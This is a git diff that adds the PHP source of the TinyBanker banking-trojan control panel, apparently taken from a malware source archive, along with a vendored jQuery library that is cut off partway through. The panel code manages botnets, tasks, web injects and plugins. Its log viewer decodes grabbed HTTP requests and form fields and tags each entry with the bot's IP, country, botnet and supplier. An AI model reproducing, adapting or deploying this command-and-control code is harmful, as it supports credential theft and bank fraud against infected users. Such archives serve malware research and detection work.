b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/images/saving.gif new file mode 100644 index 0000000000000000000000000000000000000000..e10c13e8c25f6024e0a50543b6e02585c1dfe455 GIT binary patch literal 723 zcmZ?wbhEHb6ky<H_`<;O|NnoLx6=22-@W$h%9}rLG~X%!x!xaKCV%ZO`&@AN=RwE! zmdPJuXMLMi`MKoy&m%7HZPee&rF}|x`RB#m-*>+L{TlMY_rdS`pZ|V7@N@6l?<+6< zI{)F%dj=R#{Lk&@8WQa67~pE8XTZz|6j%Hw<y@4SSdyBeP@Y+mp^%uBSdo*Tn4*`N zmzK|<_>+Z`8>mVLWCF;M46M2e3VkV=^Oh{&dUT3uor6HL#TnCr%hmU8@0icW{zR~S z%Oi&qJbK0Ju5r1po#uqi1eJtD3D$&pD>7x;C+<6N>(I(KmzMWFf3x@X?g)L2IjoJ= zf}Ijf*fg2}t?o|LdEBAGsU*ddyd-In#!2b(TY6s`NgbHZe4uG>^v4t4f{kY{Ufv<> zH}g;^x0c8>ze57pj4}lpwS>b}Fodc1u}PAO=fzhx{le!<E1z4>;$6;sqQx$0gZnSh z{xcJcEm@>0S6}Pir8PH55t~Uyknp&+DdL$+;N%@1my&`)T~BU_ePk8)cG_*mw8Qa% zFO(U3Pdq!pnmo^I<<+lJSp8-WF-D~@wq?bpq-B{mTN9^eJYKXdcUCN)!kfQM+Y<#J zFzZeCRq3B$!W6H|U}koD!M+DU9N3(s4>9Wr&^;?Qy<1fzqZ+h@_krp9-`iyhrgMMm eIx?%URpwWmE`tf1bL9FZSObV;Gps>L1PlObgATI* literal 0 HcmV?d00001 diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/index.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/index.php new file mode 100644 index 0000000..2265ee2 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/index.php @@ -0,0 +1,134 @@ +<?php + +// error_reporting(0); + + + define('BOT', true); + define('IS_AJAX_REQUEST', isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest'); + file_put_contents("AJAX_REQUEST_LOG.txt", file_get_contents('php://input')); + + include "../includes/mysql.php"; + include "../includes/geoip.php"; + include "../includes/continents.php"; + include "../includes/datatypes.php"; + include "../data/titles/suppliers.php"; + include "../data/titles/botnets.php"; + + $GeoIP = new GeoIP; + $MYNAME = 'HµNT€R$'; + + + function stripslashes_array($array) { + return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); + } + if (get_magic_quotes_gpc()) { + $_GET = stripslashes_array($_GET); + $_POST = stripslashes_array($_POST); + } + + + $MENU_ELEMENTS = array( + "Status" => "status", + "BotNETs" => "botnets", + "Tasks" => "tasks", + ":", + "Injects" => "injects", + "Configs" => "configs", + "Plugins" => "plugins", + ":", + "LOGS" => "logs", + "Stats" => "stats", + "Tracking" => "tracking", + "Events" => "events", + "Filter" => "filter", + ":", + "System" => "system", + "Settings" => "settings", + "Help" => "help"); + + + $DISPLAY = ""; + $PAGE_INCLUDE = ""; + $PAGE_CAPTION = "404 Not Found"; + while (current($MENU_ELEMENTS)) { + $uri = current($MENU_ELEMENTS); + $key = key($MENU_ELEMENTS); + next($MENU_ELEMENTS); + if ($uri==":") { + $DISPLAY .= "<b> | </b>"; + continue; + } + if (isset($_GET[$uri]) or ($uri=="status" and !$_SERVER['QUERY_STRING'])) { + $PAGE_INCLUDE = $uri; + $PAGE_CAPTION = $key; + $uri .= "' style='background:#090909;color:#709070;"; + } + $DISPLAY .= "<a href='?{$uri}'>{$key}</a>"; + } + $DISPLAY .= "<b> | </b><a href='?logout'>LogOut</a>"; + + + + +if (!IS_AJAX_REQUEST) { + print "<html> +<head> + <title>{$MYNAME} | {$PAGE_CAPTION} + + + + + + + + + + + + + + + +
+\n\n\n"; +} + + + if ($PAGE_INCLUDE) include $PAGE_INCLUDE.".php"; + else echo "{$PAGE_CAPTION}"; + + + $coock = "BOT_".$PAGE_INCLUDE; + $tab = intval($_COOKIE["BOT_".$PAGE_INCLUDE]); + + + print "\n\n\n +
+ + + +© 2010 - ".date('Y', time())." {$MYNAME} control panel v 100.500 | 5 sql queries executed in 0.5 seconds | script executed in 0.7 seconds | request executed in 1.2 seconds + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.act.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.correlation.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.correlation.php new file mode 100644 index 0000000..e4bf5df --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.correlation.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.injects.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.injects.php new file mode 100644 index 0000000..ef3a407 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.injects.php @@ -0,0 +1,38 @@ + + + + + + +
INJECTS

"; + + + if ($STAT['mtime']) print " file size: {$STAT['size']} bytes
+ uploaded: ".date("d/m/Y - H:i:s", $STAT['mtime'])."


+ "; + + + print "
+"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.php new file mode 100644 index 0000000..b75e506 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/injects.php @@ -0,0 +1,47 @@ + + + + + + + +
InjectsCorrelation 
+ + + + + + + + + + + + + + + + + + + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.fn.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.fn.php new file mode 100644 index 0000000..e48b3aa --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.fn.php @@ -0,0 +1,77 @@ +{$pieces[0]} "; + $pieces = explode("/", $pieces[1]); + $BRIEF .= "{$pieces[0]}//{$pieces[2]}/"; + array_splice($pieces, 0, 3); + $resource = implode("/", $pieces); + $BRIEF .= $resource; + } + else { + $host = "unidentified"; + while ($header = next($headers)) { + if (substr($header, 0, 6)=="Host: ") { + $host = substr($header, 6); + break; + } + } + $pieces = explode(" ", $headers[0]); + $BRIEF = "{$pieces[0]} https://{$host}".$pieces[1]; + } + } + else $BRIEF = "unidentified"; + return $BRIEF; + } + + + function HighLight2 ($data) { + $expl = explode("\r\n\r\n", $data); + $headers = $expl[0]; + $contents = $expl[1]; + + + $hdrs = explode("\r\n", $headers); + $unit = explode(" ", $hdrs[0]); + $unit[0] = "{$unit[0]}"; + $hdrs[0] = implode(" ", $unit); + for ($i=1; $iMSIE", $headers); + $headers = str_replace("Chrome", "Chrome", $headers); + $headers = str_replace("Firefox", "Firefox", $headers); + + + $vars = explode("&", $contents); + if (count($vars)>1) { + $count = count($vars); + for ($i=0; $i<$count;$i++) { + if ($vars[$i]=='') { + unset($vars[$i]); + continue; + } + $unit = explode("=", $vars[$i]); + $unit[1] = urldecode($unit[1]); + $vars[$i] = "{$unit[0]}=".$unit[1]; + } + $contents = implode("\n", $vars); + } + + + $data = $headers."\r\n\r\n".$contents; + return $data; + } + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.php new file mode 100644 index 0000000..91e09a1 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.act.php @@ -0,0 +1,292 @@ + $var) $SELTABLES[$key] = "SELECT * FROM `{$var}`".$CONDITIONS; + $query = implode(' UNION ', $SELTABLES).' LIMIT '.intval($_POST['limit']); + $result = mysql_query($query) or die("Query failed : " . mysql_error()); + + +// ################# +// + print " + | + | + + +
+ + + + +// $(this).find('div').hide();$(this).find('select').fadeIn(); + + + $bot = mysql_fetch_array(mysql_query("SELECT * FROM `bots` WHERE `bot_uid`='{$row['bot_uid']}';"), MYSQL_ASSOC); + + + print "
\n"; + + + $i = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + $i++; + + $datasize = strlen($row['data']); + $row['data'] = addslashes(htmlspecialchars($row['data'])); + switch ($row['data_type']) { + case 0: + $BRIEF = ""; + break; + case 1: + $BRIEF = ""; + break; + case 2: + $BRIEF = GetHttpReqBrief($row['data']); + $row['data'] = HighLight2($row['data']); + break; + case 3: + $BRIEF = "Grabbed by inject data"; + break; + } + $row['data'] = nl2br($row['data']); + + +// \"$(this).parent().parent().parent().next().slideToggle('fast');\" + +// ')\">
".htmlspecialchars($row['comment'])."
+ + + + + + +
{$BRIEF}
".htmlspecialchars($row['comment'])."
".htmlspecialchars($bot['comment'])."
+ + +
+ + + + + + + + + + +
Log ID:
+ Bot UID:
+ Data type:
+ Time:
+ Bot IP
+ Country:
+ Botnet:
+ Supplier:
(sub):
# {$row['log_id']} ({$datasize})
+ {$row['bot_uid']}
+ {$DATA_TYPES[$row['data_type']]}
+ ".date("d/m/y H:i:s", $row['timestamp'])."
+ {$row['bot_ip']}
+ [{$row['bot_country']}] {$GeoIP->GEOIP_COUNTRY_NAMES[$GeoIP->GEOIP_COUNTRY_CODE_TO_NUMBER[$row['bot_country']]]}
+ [ {$row['bot_net']} ]
+ [ {$row['bot_supp']} ]
({$row['supp_sub']})
{$row['data']}
+
\n\n"; + + + + } + print " + + +
+ + + + + \n"; + + + mysql_free_result($result); + + + print ""; + +} + + + + + + + + + + + + + exit(); + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.parser.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.parser.php new file mode 100644 index 0000000..f171a75 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.parser.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.patterns.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.patterns.php new file mode 100644 index 0000000..6840699 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.patterns.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.php new file mode 100644 index 0000000..bf66748 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.php @@ -0,0 +1,67 @@ + + + + + + + + +
SearchParserPatterns 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.search.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.search.php new file mode 100644 index 0000000..e71838b --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/logs.search.php @@ -0,0 +1,124 @@ + +
+
+ + + + + + + + + + + + + + + \n\n"; + + + $OPTIONS = ''; + rsort($LOGSTABLES); + reset($LOGSTABLES); + while ($val = current($LOGSTABLES)) { + $dispval = $val{9}.$val{10}.'.'.$val{7}.$val{8}.'.20'.$val{5}.$val{6}; + $OPTIONS .= ""; + next($LOGSTABLES); + } + print " + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Logs IDs:
Geolocation
+ +
Data types
+ +
Botnets
+ +
Suppliers
+ +
Bots UIDs:
From date:To date:
From time:To time:
IP mask:...
Phrase:
Limit: + + + +
+
+
+ + + +
+ + +\n\n\n"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.act.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.act.php new file mode 100644 index 0000000..37f230d --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.act.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.correlation.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.correlation.php new file mode 100644 index 0000000..e4bf5df --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.correlation.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.php new file mode 100644 index 0000000..67e4b52 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.php @@ -0,0 +1,62 @@ + + + + + + + + +
PluginsCorrelationXXX 
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +"; + +?> \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.plugins.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.plugins.php new file mode 100644 index 0000000..219086a --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.plugins.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.xxx.php b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.xxx.php new file mode 100644 index 0000000..a7e5709 --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/plugins.xxx.php @@ -0,0 +1,8 @@ + \ No newline at end of file diff --git a/malwares/Source/Original/TinyBanker_Jan2012/admin/control/scripts/jquery.js b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/scripts/jquery.js new file mode 100644 index 0000000..8ccd0ea --- /dev/null +++ b/malwares/Source/Original/TinyBanker_Jan2012/admin/control/scripts/jquery.js @@ -0,0 +1,9266 @@ +/*! + * jQuery JavaScript Library v1.7.1 + * http://jquery.com/ + * + * Copyright 2011, John Resig + * Dual licensed under the MIT or GPL Version 2 licenses. + * http://jquery.org/license + * + * Includes Sizzle.js + * http://sizzlejs.com/ + * Copyright 2011, The Dojo Foundation + * Released under the MIT, BSD, and GPL Licenses. + * + * Date: Mon Nov 21 21:11:03 2011 -0500 + */ +(function( window, undefined ) { + +// Use the correct document accordingly with window argument (sandbox) +var document = window.document, + navigator = window.navigator, + location = window.location; +var jQuery = (function() { + +// Define a local copy of jQuery +var jQuery = function( selector, context ) { + // The jQuery object is actually just the init constructor 'enhanced' + return new jQuery.fn.init( selector, context, rootjQuery ); + }, + + // Map over jQuery in case of overwrite + _jQuery = window.jQuery, + + // Map over the $ in case of overwrite + _$ = window.$, + + // A central reference to the root jQuery(document) + rootjQuery, + + // A simple way to check for HTML strings or ID strings + // Prioritize #id over to avoid XSS via location.hash (#9521) + quickExpr = /^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/, + + // Check if a string has a non-whitespace character in it + rnotwhite = /\S/, + + // Used for trimming whitespace + trimLeft = /^\s+/, + trimRight = /\s+$/, + + // Match a standalone tag + rsingleTag = /^<(\w+)\s*\/?>(?:<\/\1>)?$/, + + // JSON RegExp + rvalidchars = /^[\],:{}\s]*$/, + rvalidescape = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, + rvalidtokens = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, + rvalidbraces = /(?:^|:|,)(?:\s*\[)+/g, + + // Useragent RegExp + rwebkit = /(webkit)[ \/]([\w.]+)/, + ropera = /(opera)(?:.*version)?[ \/]([\w.]+)/, + rmsie = /(msie) ([\w.]+)/, + rmozilla = /(mozilla)(?:.*? rv:([\w.]+))?/, + + // Matches dashed string for camelizing + rdashAlpha = /-([a-z]|[0-9])/ig, + rmsPrefix = /^-ms-/, + + // Used by jQuery.camelCase as callback to replace() + fcamelCase = function( all, letter ) { + return ( letter + "" ).toUpperCase(); + }, + + // Keep a UserAgent string for use with jQuery.browser + userAgent = navigator.userAgent, + + // For matching the engine and version of the browser + browserMatch, + + // The deferred used on DOM ready + readyList, + + // The ready event handler + DOMContentLoaded, + + // Save a reference to some core methods + toString = Object.prototype.toString, + hasOwn = Object.prototype.hasOwnProperty, + push = Array.prototype.push, + slice = Array.prototype.slice, + trim = String.prototype.trim, + indexOf = Array.prototype.indexOf, + + // [[Class]] -> type pairs + class2type = {}; + +jQuery.fn = jQuery.prototype = { + constructor: jQuery, + init: function( selector, context, rootjQuery ) { + var match, elem, ret, doc; + + // Handle $(""), $(null), or $(undefined) + if ( !selector ) { + return this; + } + + // Handle $(DOMElement) + if ( selector.nodeType ) { + this.context = this[0] = selector; + this.length = 1; + return this; + } + + // The body element only exists once, optimize finding it + if ( selector === "body" && !context && document.body ) { + this.context = document; + this[0] = document.body; + this.selector = selector; + this.length = 1; + return this; + } + + // Handle HTML strings + if ( typeof selector === "string" ) { + // Are we dealing with HTML string or an ID? + if ( selector.charAt(0) === "<" && selector.charAt( selector.length - 1 ) === ">" && selector.length >= 3 ) { + // Assume that strings that start and end with <> are HTML and skip the regex check + match = [ null, selector, null ]; + + } else { + match = quickExpr.exec( selector ); + } + + // Verify a match, and that no context was specified for #id + if ( match && (match[1] || !context) ) { + + // HANDLE: $(html) -> $(array) + if ( match[1] ) { + context = context instanceof jQuery ? context[0] : context; + doc = ( context ? context.ownerDocument || context : document ); + + // If a single string is passed in and it's a single tag + // just do a createElement and skip the rest + ret = rsingleTag.exec( selector ); + + if ( ret ) { + if ( jQuery.isPlainObject( context ) ) { + selector = [ document.createElement( ret[1] ) ]; + jQuery.fn.attr.call( selector, context, true ); + + } else { + selector = [ doc.createElement( ret[1] ) ]; + } + + } else { + ret = jQuery.buildFragment( [ match[1] ], [ doc ] ); + selector = ( ret.cacheable ? jQuery.clone(ret.fragment) : ret.fragment ).childNodes; + } + + return jQuery.merge( this, selector ); + + // HANDLE: $("#id") + } else { + elem = document.getElementById( match[2] ); + + // Check parentNode to catch when Blackberry 4.6 returns + // nodes that are no longer in the document #6963 + if ( elem && elem.parentNode ) { + // Handle the case where IE and Opera return items + // by name instead of ID + if ( elem.id !== match[2] ) { + return rootjQuery.find( selector ); + } + + // Otherwise, we inject the element directly into the jQuery object + this.length = 1; + this[0] = elem; + } + + this.context = document; + this.selector = selector; + return this; + } + + // HANDLE: $(expr, $(...)) + } else if ( !context || context.jquery ) { + return ( context || rootjQuery ).find( selector ); + + // HANDLE: $(expr, context) + // (which is just equivalent to: $(context).find(expr) + } else { + return this.constructor( context ).find( selector ); + } + + // HANDLE: $(function) + // Shortcut for document ready + } else if ( jQuery.isFunction( selector ) ) { + return rootjQuery.ready( selector ); + } + + if ( selector.selector !== undefined ) { + this.selector = selector.selector; + this.context = selector.context; + } + + return jQuery.makeArray( selector, this ); + }, + + // Start with an empty selector + selector: "", + + // The current version of jQuery being used + jquery: "1.7.1", + + // The default length of a jQuery object is 0 + length: 0, + + // The number of elements contained in the matched element set + size: function() { + return this.length; + }, + + toArray: function() { + return slice.call( this, 0 ); + }, + + // Get the Nth element in the matched element set OR + // Get the whole matched element set as a clean array + get: function( num ) { + return num == null ? + + // Return a 'clean' array + this.toArray() : + + // Return just the object + ( num < 0 ? this[ this.length + num ] : this[ num ] ); + }, + + // Take an array of elements and push it onto the stack + // (returning the new matched element set) + pushStack: function( elems, name, selector ) { + // Build a new jQuery matched element set + var ret = this.constructor(); + + if ( jQuery.isArray( elems ) ) { + push.apply( ret, elems ); + + } else { + jQuery.merge( ret, elems ); + } + + // Add the old object onto the stack (as a reference) + ret.prevObject = this; + + ret.context = this.context; + + if ( name === "find" ) { + ret.selector = this.selector + ( this.selector ? " " : "" ) + selector; + } else if ( name ) { + ret.selector = this.selector + "." + name + "(" + selector + ")"; + } + + // Return the newly-formed element set + return ret; + }, + + // Execute a callback for every element in the matched set. + // (You can seed the arguments with an array of args, but this is + // only used internally.) + each: function( callback, args ) { + return jQuery.each( this, callback, args ); + }, + + ready: function( fn ) { + // Attach the listeners + jQuery.bindReady(); + + // Add the callback + readyList.add( fn ); + + return this; + }, + + eq: function( i ) { + i = +i; + return i === -1 ? + this.slice( i ) : + this.slice( i, i + 1 ); + }, + + first: function() { + return this.eq( 0 ); + }, + + last: function() { + return this.eq( -1 ); + }, + + slice: function() { + return this.pushStack( slice.apply( this, arguments ), + "slice", slice.call(arguments).join(",") ); + }, + + map: function( callback ) { + return this.pushStack( jQuery.map(this, function( elem, i ) { + return callback.call( elem, i, elem ); + })); + }, + + end: function() { + return this.prevObject || this.constructor(null); + }, + + // For internal use only. + // Behaves like an Array's method, not like a jQuery method. + push: push, + sort: [].sort, + splice: [].splice +}; + +// Give the init function the jQuery prototype for later instantiation +jQuery.fn.init.prototype = jQuery.fn; + +jQuery.extend = jQuery.fn.extend = function() { + var options, name, src, copy, copyIsArray, clone, + target = arguments[0] || {}, + i = 1, + length = arguments.length, + deep = false; + + // Handle a deep copy situation + if ( typeof target === "boolean" ) { + deep = target; + target = arguments[1] || {}; + // skip the boolean and the target + i = 2; + } + + // Handle case when target is a string or something (possible in deep copy) + if ( typeof target !== "object" && !jQuery.isFunction(target) ) { + target = {}; + } + + // extend jQuery itself if only one argument is passed + if ( length === i ) { + target = this; + --i; + } + + for ( ; i < length; i++ ) { + // Only deal with non-null/undefined values + if ( (options = arguments[ i ]) != null ) { + // Extend the base object + for ( name in options ) { + src = target[ name ]; + copy = options[ name ]; + + // Prevent never-ending loop + if ( target === copy ) { + continue; + } + + // Recurse if we're merging plain objects or arrays + if ( deep && copy && ( jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)) ) ) { + if ( copyIsArray ) { + copyIsArray = false; + clone = src && jQuery.isArray(src) ? src : []; + + } else { + clone = src && jQuery.isPlainObject(src) ? src : {}; + } + + // Never move original objects, clone them + target[ name ] = jQuery.extend( deep, clone, copy ); + + // Don't bring in undefined values + } else if ( copy !== undefined ) { + target[ name ] = copy; + } + } + } + } + + // Return the modified object + return target; +}; + +jQuery.extend({ + noConflict: function( deep ) { + if ( window.$ === jQuery ) { + window.$ = _$; + } + + if ( deep && window.jQuery === jQuery ) { + window.jQuery = _jQuery; + } + + return jQuery; + }, + + // Is the DOM ready to be used? Set to true once it occurs. + isReady: false, + + // A counter to track how many items to wait for before + // the ready event fires. See #6781 + readyWait: 1, + + // Hold (or release) the ready event + holdReady: function( hold ) { + if ( hold ) { + jQuery.readyWait++; + } else { + jQuery.ready( true ); + } + }, + + // Handle when the DOM is ready + ready: function( wait ) { + // Either a released hold or an DOMready/load event and not yet ready + if ( (wait === true && !--jQuery.readyWait) || (wait !== true && !jQuery.isReady) ) { + // Make sure body exists, at least, in case IE gets a little overzealous (ticket #5443). + if ( !document.body ) { + return setTimeout( jQuery.ready, 1 ); + } + + // Remember that the DOM is ready + jQuery.isReady = true; + + // If a normal DOM Ready event fired, decrement, and wait if need be + if ( wait !== true && --jQuery.readyWait > 0 ) { + return; + } + + // If there are functions bound, to execute + readyList.fireWith( document, [ jQuery ] ); + + // Trigger any bound ready events + if ( jQuery.fn.trigger ) { + jQuery( document ).trigger( "ready" ).off( "ready" ); + } + } + }, + + bindReady: function() { + if ( readyList ) { + return; + } + + readyList = jQuery.Callbacks( "once memory" ); + + // Catch cases where $(document).ready() is called after the + // browser event has already occurred. + if ( document.readyState === "complete" ) { + // Handle it asynchronously to allow scripts the opportunity to delay ready + return setTimeout( jQuery.ready, 1 ); + } + + // Mozilla, Opera and webkit nightlies currently support this event + if ( document.addEventListener ) { + // Use the handy event callback + document.addEventListener( "DOMContentLoaded", DOMContentLoaded, false ); + + // A fallback to window.onload, that will always work + window.addEventListener( "load", jQuery.ready, false ); + + // If IE event model is used + } else if ( document.attachEvent ) { + // ensure firing before onload, + // maybe late but safe also for iframes + document.attachEvent( "onreadystatechange", DOMContentLoaded ); + + // A fallback to window.onload, that will always work + window.attachEvent( "onload", jQuery.ready ); + + // If IE and not a frame + // continually check to see if the document is ready + var toplevel = false; + + try { + toplevel = window.frameElement == null; + } catch(e) {} + + if ( document.documentElement.doScroll && toplevel ) { + doScrollCheck(); + } + } + }, + + // See test/unit/core.js for details concerning isFunction. + // Since version 1.3, DOM methods and functions like alert + // aren't supported. They return false on IE (#2968). + isFunction: function( obj ) { + return jQuery.type(obj) === "function"; + }, + + isArray: Array.isArray || function( obj ) { + return jQuery.type(obj) === "array"; + }, + + // A crude way of determining if an object is a window + isWindow: function( obj ) { + return obj && typeof obj === "object" && "setInterval" in obj; + }, + + isNumeric: function( obj ) { + return !isNaN( parseFloat(obj) ) && isFinite( obj ); + }, + + type: function( obj ) { + return obj == null ? + String( obj ) : + class2type[ toString.call(obj) ] || "object"; + }, + + isPlainObject: function( obj ) { + // Must be an Object. + // Because of IE, we also have to check the presence of the constructor property. + // Make sure that DOM nodes and window objects don't pass through, as well + if ( !obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow( obj ) ) { + return false; + } + + try { + // Not own constructor property must be Object + if ( obj.constructor && + !hasOwn.call(obj, "constructor") && + !hasOwn.call(obj.constructor.prototype, "isPrototypeOf") ) { + return false; + } + } catch ( e ) { + // IE8,9 Will throw exceptions on certain host objects #9897 + return false; + } + + // Own properties are enumerated firstly, so to speed up, + // if last one is own, then all properties are own. + + var key; + for ( key in obj ) {} + + return key === undefined || hasOwn.call( obj, key ); + }, + + isEmptyObject: function( obj ) { + for ( var name in obj ) { + return false; + } + return true; + }, + + error: function( msg ) { + throw new Error( msg ); + }, + + parseJSON: function( data ) { + if ( typeof data !== "string" || !data ) { + return null; + } + + // Make sure leading/trailing whitespace is removed (IE can't handle it) + data = jQuery.trim( data ); + + // Attempt to parse using the native JSON parser first + if ( window.JSON && window.JSON.parse ) { + return window.JSON.parse( data ); + } + + // Make sure the incoming data is actual JSON + // Logic borrowed from http://json.org/json2.js + if ( rvalidchars.test( data.replace( rvalidescape, "@" ) + .replace( rvalidtokens, "]" ) + .replace( rvalidbraces, "")) ) { + + return ( new Function( "return " + data ) )(); + + } + jQuery.error( "Invalid JSON: " + data ); + }, + + // Cross-browser xml parsing + parseXML: function( data ) { + var xml, tmp; + try { + if ( window.DOMParser ) { // Standard + tmp = new DOMParser(); + xml = tmp.parseFromString( data , "text/xml" ); + } else { // IE + xml = new ActiveXObject( "Microsoft.XMLDOM" ); + xml.async = "false"; + xml.loadXML( data ); + } + } catch( e ) { + xml = undefined; + } + if ( !xml || !xml.documentElement || xml.getElementsByTagName( "parsererror" ).length ) { + jQuery.error( "Invalid XML: " + data ); + } + return xml; + }, + + noop: function() {}, + + // Evaluates a script in a global context + // Workarounds based on findings by Jim Driscoll + // http://weblogs.java.net/blog/driscoll/archive/2009/09/08/eval-javascript-global-context + globalEval: function( data ) { + if ( data && rnotwhite.test( data ) ) { + // We use execScript on Internet Explorer + // We use an anonymous function so that context is window + // rather than jQuery in Firefox + ( window.execScript || function( data ) { + window[ "eval" ].call( window, data ); + } )( data ); + } + }, + + // Convert dashed to camelCase; used by the css and data modules + // Microsoft forgot to hump their vendor prefix (#9572) + camelCase: function( string ) { + return string.replace( rmsPrefix, "ms-" ).replace( rdashAlpha, fcamelCase ); + }, + + nodeName: function( elem, name ) { + return elem.nodeName && elem.nodeName.toUpperCase() === name.toUpperCase(); + }, + + // args is for internal usage only + each: function( object, callback, args ) { + var name, i = 0, + length = object.length, + isObj = length === undefined || jQuery.isFunction( object ); + + if ( args ) { + if ( isObj ) { + for ( name in object ) { + if ( callback.apply( object[ name ], args ) === false ) { + break; + } + } + } else { + for ( ; i < length; ) { + if ( callback.apply( object[ i++ ], args ) === false ) { + break; + } + } + } + + // A special, fast, case for the most common use of each + } else { + if ( isObj ) { + for ( name in object ) { + if ( callback.call( object[ name ], name, object[ name ] ) === false ) { + break; + } + } + } else { + for ( ; i < length; ) { + if ( callback.call( object[ i ], i, object[ i++ ] ) === false ) { + break; + } + } + } + } + + return object; + }, + + // Use native String.trim function wherever possible + trim: trim ? + function( text ) { + return text == null ? + "" : + trim.call( text ); + } : + + // Otherwise use our own trimming functionality + function( text ) { + return text == null ? + "" : + text.toString().replace( trimLeft, "" ).replace( trimRight, "" ); + }, + + // results is for internal usage only + makeArray: function( array, results ) { + var ret = results || []; + + if ( array != null ) { + // The window, strings (and functions) also have 'length' + // Tweaked logic slightly to handle Blackberry 4.7 RegExp issues #6930 + var type = jQuery.type( array ); + + if ( array.length == null || type === "string" || type === "function" || type === "regexp" || jQuery.isWindow( array ) ) { + push.call( ret, array ); + } else { + jQuery.merge( ret, array ); + } + } + + return ret; + }, + + inArray: function( elem, array, i ) { + var len; + + if ( array ) { + if ( indexOf ) { + return indexOf.call( array, elem, i ); + } + + len = array.length; + i = i ? i < 0 ? Math.max( 0, len + i ) : i : 0; + + for ( ; i < len; i++ ) { + // Skip accessing in sparse arrays + if ( i in array && array[ i ] === elem ) { + return i; + } + } + } + + return -1; + }, + + merge: function( first, second ) { + var i = first.length, + j = 0; + + if ( typeof second.length === "number" ) { + for ( var l = second.length; j < l; j++ ) { + first[ i++ ] = second[ j ]; + } + + } else { + while ( second[j] !== undefined ) { + first[ i++ ] = second[ j++ ]; + } + } + + first.length = i; + + return first; + }, + + grep: function( elems, callback, inv ) { + var ret = [], retVal; + inv = !!inv; + + // Go through the array, only saving the items + // that pass the validator function + for ( var i = 0, length = elems.length; i < length; i++ ) { + retVal = !!callback( 